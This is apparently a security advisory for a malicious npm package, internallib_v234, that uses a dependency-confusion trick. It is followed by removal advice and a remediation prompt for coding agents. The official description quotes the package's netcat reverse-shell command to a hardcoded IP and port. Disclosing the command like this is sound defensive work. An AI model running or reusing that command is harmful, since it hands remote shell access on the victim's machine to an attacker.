# MAL-2026-6796: Malicious code in internallib_v234 (npm)


- **Type:** Malicious package
- **Package:** `internallib_v234` (npm)
- **Published:** 6 Jul 2026

## What is MAL-2026-6796?

MAL-2026-6796 is a malicious package in internallib_v234, published on 6 Jul 2026. 

### Official description

internallib_v234@1.0.6 exports a `command()` function whose body unconditionally invokes `/bin/bash -c "nc -vn 10.0.74.133 13337 -e /bin/bash"`, opening an interactive reverse shell from the installer to a hardcoded RFC1918 endpoint (10.0.74.133:13337). Prior to launching the shell, index.js runs `whereis nc` to confirm netcat is available on the host. The package also exhibits a dependency-confusion shape: the name mimics an internal-library naming convention, it declares itself as its own dependency (`internallib_v234: ^1.0.0`), and CI configuration references a private Verdaccio registry (`npm update --registry http://0.0.0.0:4873/`). The combination indicates a targeted attack against an organization that hosts a private `internallib_v234` internally; installing/loading this public version and invoking the exported function yields interactive shell access on the installer's machine to the attacker.

## What should I do about MAL-2026-6796?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-6796 is a malicious package: internallib_v234 (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-6796/ (Markdown: https://insights.sbomify.com/MAL-2026-6796/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-6796

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-6796/
Summaries are generated and may contain mistakes; the official description above is the record.